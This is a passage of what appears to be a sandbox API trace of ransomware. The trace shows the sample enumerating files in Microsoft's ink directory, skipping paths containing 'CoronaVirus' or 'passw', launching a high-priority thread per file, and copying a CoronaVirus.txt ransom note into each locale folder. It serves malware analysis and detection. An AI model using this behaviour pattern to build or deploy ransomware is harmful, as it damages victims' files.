	[0084.064] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.064] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61
	[0084.064] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.064] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", _SubStr="wasse") returned 0x0
	[0084.064] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", _SubStr="passw") returned 0x0
	[0084.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614
	[0084.065] SetThreadPriority (hThread=0x614, nPriority=15) returned 1
	[0084.067] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.067] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61
	[0084.067] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.067] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", _SubStr="wasse") returned 0x0
	[0084.067] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", _SubStr="passw") returned 0x0
	[0084.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618
	[0084.067] SetThreadPriority (hThread=0x618, nPriority=15) returned 1
	[0084.068] malloc (_Size=0x1000) returned 0x2f7b7e0
	[0084.070] _swprintf (in: param_1=0x2f7b7e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0084.070] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.070] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", _SubStr="wasse") returned 0x0
	[0084.070] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", _SubStr="passw") returned 0x0
	[0084.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7b7e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c
	[0084.070] SetThreadPriority (hThread=0x61c, nPriority=15) returned 1
	[0084.072] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.072] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0084.072] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.072] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", _SubStr="wasse") returned 0x0
	[0084.072] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", _SubStr="passw") returned 0x0
	[0084.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620
	[0084.073] SetThreadPriority (hThread=0x620, nPriority=15) returned 1
	[0084.075] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.075] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61
	[0084.075] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.075] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", _SubStr="wasse") returned 0x0
	[0084.075] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", _SubStr="passw") returned 0x0
	[0084.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624
	[0084.076] SetThreadPriority (hThread=0x624, nPriority=15) returned 1
	[0084.078] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.078] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61
	[0084.078] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.078] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", _SubStr="wasse") returned 0x0
	[0084.078] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", _SubStr="passw") returned 0x0
	[0084.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628
	[0084.078] SetThreadPriority (hThread=0x628, nPriority=15) returned 1
	[0084.080] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.080] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61
	[0084.080] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.080] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", _SubStr="wasse") returned 0x0
	[0084.081] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", _SubStr="passw") returned 0x0
	[0084.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c
	[0084.081] SetThreadPriority (hThread=0x62c, nPriority=15) returned 1
	[0084.083] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.083] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0084.083] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.083] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", _SubStr="wasse") returned 0x0
	[0084.083] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", _SubStr="passw") returned 0x0
	[0084.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630
	[0084.083] SetThreadPriority (hThread=0x630, nPriority=15) returned 1
	[0084.085] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.085] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0084.085] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.085] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", _SubStr="wasse") returned 0x0
	[0084.085] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", _SubStr="passw") returned 0x0
	[0084.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634
	[0084.086] SetThreadPriority (hThread=0x634, nPriority=15) returned 1
	[0084.090] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.090] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0084.090] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.090] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", _SubStr="wasse") returned 0x0
	[0084.090] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", _SubStr="passw") returned 0x0
	[0084.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638
	[0084.091] SetThreadPriority (hThread=0x638, nPriority=15) returned 1
	[0084.093] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.093] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0084.093] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", _SubStr="CoronaVirus") returned 0x0
	[0084.093] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", _SubStr="wasse") returned 0x0
	[0084.093] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", _SubStr="passw") returned 0x0
	[0084.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f7a7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c
	[0084.094] SetThreadPriority (hThread=0x63c, nPriority=15) returned 1
	[0084.095] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.099] _alloca_probe () returned 0x4036d0
	[0084.099] malloc (_Size=0x1000) returned 0x2f7a7d8
	[0084.099] _swprintf (in: param_1=0x2f7a7d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\CoronaVirus.txt") returned 72
	[0084.099] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.099] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.102] _alloca_probe () returned 0x4036d0
	[0084.102] malloc (_Size=0x1000) returned 0x2f7b7e0
	[0084.102] _swprintf (in: param_1=0x2f7b7e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\CoronaVirus.txt") returned 72
	[0084.102] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.102] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.104] _alloca_probe () returned 0x4036d0
	[0084.104] malloc (_Size=0x1000) returned 0x2f7c7e8
	[0084.104] _swprintf (in: param_1=0x2f7c7e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\CoronaVirus.txt") returned 72
	[0084.105] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.105] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.109] _alloca_probe () returned 0x4036d0
	[0084.109] malloc (_Size=0x1000) returned 0x2f7d7f0
	[0084.109] _swprintf (in: param_1=0x2f7d7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\CoronaVirus.txt") returned 80
	[0084.109] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.109] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.143] _alloca_probe () returned 0x4036d0
	[0084.143] malloc (_Size=0x1000) returned 0x2f7e7f8
	[0084.144] _swprintf (in: param_1=0x2f7e7f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\CoronaVirus.txt") returned 72
	[0084.144] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.144] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.147] _alloca_probe () returned 0x4036d0
	[0084.147] malloc (_Size=0x1000) returned 0x2f7f800
	[0084.147] _swprintf (in: param_1=0x2f7f800, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\CoronaVirus.txt") returned 72
	[0084.147] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.147] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.151] _alloca_probe () returned 0x4036d0
	[0084.152] malloc (_Size=0x1000) returned 0x2f80808
	[0084.152] _swprintf (in: param_1=0x2f80808, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\CoronaVirus.txt") returned 72
	[0084.152] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.152] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.156] _alloca_probe () returned 0x4036d0
	[0084.156] malloc (_Size=0x1000) returned 0x2f81810
	[0084.156] _swprintf (in: param_1=0x2f81810, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\CoronaVirus.txt") returned 72
	[0084.156] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.156] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.162] _alloca_probe () returned 0x4036d0
	[0084.163] malloc (_Size=0x1000) returned 0x2f82818
	[0084.163] _swprintf (in: param_1=0x2f82818, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\CoronaVirus.txt") returned 72
	[0084.163] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.163] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.165] _alloca_probe () returned 0x4036d0
	[0084.165] malloc (_Size=0x1000) returned 0x2f83820
	[0084.165] _swprintf (in: param_1=0x2f83820, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\CoronaVirus.txt") returned 72
	[0084.165] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.166] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.168] _alloca_probe () returned 0x4036d0
	[0084.168] malloc (_Size=0x1000) returned 0x2f84828
	[0084.168] _swprintf (in: param_1=0x2f84828, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\CoronaVirus.txt") returned 72
	[0084.168] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.168] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.174] _alloca_probe () returned 0x4036d0
	[0084.174] malloc (_Size=0x1000) returned 0x2f85830
	[0084.174] _swprintf (in: param_1=0x2f85830, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\CoronaVirus.txt") returned 72
	[0084.174] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.174] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.176] _alloca_probe () returned 0x4036d0
	[0084.176] malloc (_Size=0x1000) returned 0x2f86838
	[0084.176] _swprintf (in: param_1=0x2f86838, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\CoronaVirus.txt") returned 72
	[0084.176] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.177] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.180] _alloca_probe () returned 0x4036d0
	[0084.180] malloc (_Size=0x1000) returned 0x2f87840
	[0084.180] _swprintf (in: param_1=0x2f87840, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\CoronaVirus.txt") returned 72
	[0084.180] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.180] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.182] _alloca_probe () returned 0x4036d0
	[0084.182] malloc (_Size=0x1000) returned 0x2f88848
	[0084.183] _swprintf (in: param_1=0x2f88848, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\CoronaVirus.txt") returned 72
	[0084.183] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.183] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.192] _alloca_probe () returned 0x4036d0
	[0084.192] malloc (_Size=0x1000) returned 0x2f89850
	[0084.192] _swprintf (in: param_1=0x2f89850, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\CoronaVirus.txt") returned 77
	[0084.192] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.192] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.195] _alloca_probe () returned 0x4036d0
	[0084.195] malloc (_Size=0x1000) returned 0x2f8a858
	[0084.195] _swprintf (in: param_1=0x2f8a858, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\CoronaVirus.txt") returned 72
	[0084.195] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.196] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.198] _alloca_probe () returned 0x4036d0
	[0084.198] malloc (_Size=0x1000) returned 0x2f8b860
	[0084.198] _swprintf (in: param_1=0x2f8b860, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\CoronaVirus.txt") returned 72
	[0084.198] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.198] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.200] _alloca_probe () returned 0x4036d0
	[0084.200] malloc (_Size=0x1000) returned 0x2f8c868
	[0084.201] _swprintf (in: param_1=0x2f8c868, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\CoronaVirus.txt") returned 72
	[0084.201] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.201] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.204] _alloca_probe () returned 0x4036d0
	[0084.204] malloc (_Size=0x1000) returned 0x2f8d870
	[0084.204] _swprintf (in: param_1=0x2f8d870, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\CoronaVirus.txt") returned 72
	[0084.204] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.204] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.207] _alloca_probe () returned 0x4036d0
	[0084.207] malloc (_Size=0x1000) returned 0x2f8e878
